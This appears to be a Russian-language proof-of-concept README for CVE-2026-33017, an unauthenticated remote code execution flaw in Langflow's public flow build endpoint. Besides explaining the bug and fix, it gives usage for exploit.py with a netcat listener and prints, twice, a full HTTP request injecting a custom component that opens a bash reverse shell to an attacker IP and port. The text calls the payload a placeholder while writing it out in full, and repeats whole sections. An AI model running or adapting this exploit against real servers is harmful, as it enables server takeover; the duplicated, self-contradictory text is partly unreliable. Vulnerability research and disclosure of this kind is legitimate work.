
Langflow RCE
★ CVE-2026-33017 Langflow — PoC удаленного выполнения кода ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Используйте следующие команды, чтобы собрать и запустить уязвимое окружение Langflow:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
После запуска уязвимого экземпляра Langflow запустите PoC, указав URL цели, идентификатор Public flow и адрес обратного вызова атакующего.
Вариант A — используйте собственный listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Вариант B — используйте встроенный listener с флагом --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 — это уязвимость удаленного выполнения кода (Remote Code Execution, RCE) в процессе сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального построения LLM-приложений и AI-воркфлоу.
Отправляя специально сформированные данные flow на конечную точкуbuild_public_tmpбез аутентификации, атакующий может вызвать выполнение произвольного Python-кода на сервере.
CVE-2026-33017 затрагивает следующую конечную точку сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-воркфлоу.
POST /api/v1/build_public_tmp/{flow_id}/flow
Public flow в Langflow предназначен для предоставления другим пользователям через ссылку или аналогичный механизм.
Чтобы обеспечить эту функцию, конечная точка сборки подготавливает flow к выполнению без требования аутентификации: она считывает узлы (nodes), ребра (edges) и настройки flow, после чего строит внутренний граф выполнения, необходимый для его запуска.
Проблема заключалась в том, что уязвимые версии build_public_tmp принимали не только сохраненную на сервере информацию о Public flow, но и поле data, переданное в теле запроса.
Это поле data могло содержать полное определение flow, включая:
В результате атакующий мог с помощью неаутентифицированного запроса внедрить полностью контролируемую структуру flow вместо того, чтобы полагаться на легитимный Public flow, хранящийся на сервере.
Особенно опасной частью этой конструкции является функция Custom Component.
В Langflow компонент представляет собой отдельный функциональный блок, отвечающий за такие задачи, как обработка входных данных, вызов модели или генерация выходных данных. Пользовательский компонент — это расширяемый блок, который позволяет определять его поведение непосредственно в Python-коде.
Таким образом, атакующий мог встроить в сформированный объект data пользовательский компонент, содержащий вредоносный Python-код, и сервер обрабатывал бы его как обычную часть flow. В результате внедренный код мог быть разобран и выполнен в процессе сборки или выполнения, что в конечном итоге приводило к удаленному выполнению кода.
| Категория | Версия |
|---|---|
| Уязвимые | Langflow до 1.9.0 |
| Исправленные | Langflow 1.9.0 и новее |
В GitHub Security Advisory затронутый диапазон указан как
<= 1.8.2, однако исправление — удаление параметраdata— было включено в 1.9.0. Таким образом, затронуты все выпуски до 1.9.0 (включая 1.8.3 / 1.8.4), поэтому в записи CVE указано< 1.9.0.
Успешная эксплуатация этой уязвимости может позволить атакующему получить контроль над сервером Langflow и выполнить последующие действия, такие как:
Приведенный ниже PoC демонстрирует CVE-2026-33017 на Langflow 1.8.1.
Сначала атакующий определяет flow_id целевого Public flow.

Атакующий отправляет запрос build_public_tmp, который внедряет пользовательский компонент, чей Python-code выполняется на сервере во время временной сборки. В приведенном ниже запросе значение code оставлено в качестве заполнителя — вставьте полезную нагрузку самостоятельно (см. примечание под запросом).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Во время процесса сборки код, встроенный в пользовательский компонент, выполняется на сервере. При использовании варианта с reverse shell (автоматизированного в exploit.py) на listener атакующего устанавливается обратное соединение, что дает атакующему интерактивный shell для выполнения произвольных команд на сервере.

Хотя build_public_tmp предназначался для сборки Public flow, уязвимые версии по-прежнему принимали поле data непосредственно из тела запроса.
Из-за такой конструкции переданное атакующим data напрямую попадало в серверную логику сборки, а любой Python-код, встроенный в пользовательский компонент, обрабатывался так, как если бы он был частью легитимного flow.
В результате атакующему не нужно было полагаться на исходный Public flow, хранящийся на сервере. Вместо этого он мог внедрить полностью вредоносное определение flow, включая код, который мог быть выполнен на сервере.
После исправления build_public_tmp больше не принимает внешнее data.
Иными словами, путь, который ранее позволял атакующим внедрять целое определение flow через тело запроса, был удален, что также предотвратило выполнение произвольного кода через вредоносные пользовательские компоненты.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017 — это уязвимость удаленного выполнения кода (Remote Code Execution, RCE) в процессе сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-воркфлоу.
Передавая без аутентификации поддельные данные flow на конечную точкуbuild_public_tmp, атакующий может вызвать выполнение произвольного Python-кода на сервере.
CVE-2026-33017 возникает в следующей конечной точке сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-воркфлоу.
POST /api/v1/build_public_tmp/{flow_id}/flow
Public flow в Langflow — это flow, открытый для внешнего использования: другие пользователи могут загрузить его по ссылке и т. п.
Эта функция спроектирована так, чтобы подготовить такой flow к выполнению без аутентификации: конечная точка сборки на основе узлов, связей и настроек flow создает внутренний граф выполнения, а также готовит каждый блок к фактической работе.
Проблема в том, что уязвимая версия конечной точки build_public_tmp также принимала значение data из тела запроса.
Это значение data могло содержать полное определение flow, в том числе:
Иными словами, атакующий мог с помощью неаутентифицированного запроса вместо нормального flow, хранящегося на сервере, внедрить целиком подконтрольную ему структуру flow.
Особую опасность в этом процессе представляет пользовательский компонент (Custom Component).
В Langflow компонент — это блок, отвечающий за отдельную функцию: обработку входных данных, вызов модели, генерацию выходных данных и т. п. Пользовательский компонент — это расширяемый блок, который пользователь может определить напрямую в Python-коде.
Атакующий мог вставить внутрь поддельного data пользовательский компонент, содержащий вредоносный Python-код, и сервер обрабатывал его как обычный элемент flow. В результате этот код фактически интерпретировался и выполнялся в процессе сборки/выполнения, что делало возможным удаленное выполнение кода.
| Категория | Версия |
|---|---|
| Уязвимые | Langflow до 1.9.0 |
| Исправленные | Langflow 1.9.0 и новее |
В GitHub Security Advisory затронутый диапазон указан как
<= 1.8.2, однако фактическое исправление (удаление параметраdata) было включено в 1.9.0. Поэтому уязвимы все версии до 1.9.0, включая 1.8.3 и 1.8.4; запись CVE также указывает на это как< 1.9.0.
С помощью этой уязвимости атакующий может получить контроль над сервером Langflow и выполнить дополнительные действия. Основные последствия:
Приведенный ниже PoC воспроизводит CVE-2026-33017 в среде Langflow 1.8.1.
Сначала атакующий определяет flow_id целевого Public flow.

Атакующий отправляет запрос build_public_tmp, в котором Python-code пользовательского компонента выполняется на сервере в процессе временной сборки. В приведенном ниже запросе значение code оставлено в качестве заполнителя — полезную нагрузку нужно подставить самостоятельно (см. примечание под запросом).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
В процессе сборки код, содержащийся в пользовательском компоненте, выполняется на сервере. При использовании варианта с reverse shell, автоматизированного в exploit.py, на listener атакующего устанавливается соединение, и атакующий получает интерактивный shell для выполнения произвольных команд на сервере.

Несмотря на то, что build_public_tmp является API сборки для Public flow, уязвимая версия могла напрямую принимать значение data из тела запроса.
Из-за такой конструкции переданное атакующим data напрямую отражалось в серверной логике сборки, а Python-код внутри пользовательского компонента обрабатывался как обычный элемент flow.
В итоге атакующий мог не следовать исходному Public flow, хранящемуся на сервере, а напрямую внедрить созданное им вредоносное определение flow; содержащийся в нем вредоносный код мог быть выполнен на сервере.
После исправления build_public_tmp больше не принимает data из внешних запросов.
Иными словами, путь, через который атакующий мог внедрить само определение flow через тело запроса, был заблокирован, что также сделало невозможным выполнение произвольного кода через пользовательские компоненты.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0| Параметр | Описание |
|---|
--url | URL целевого сервера Langflow |
--flow-id | UUID общего Public flow |
--lhost | IP-адрес обратного вызова атакующего |
--lport | Порт обратного вызова атакующего |
--listen | Запустить встроенный listener вместо внешнего nc |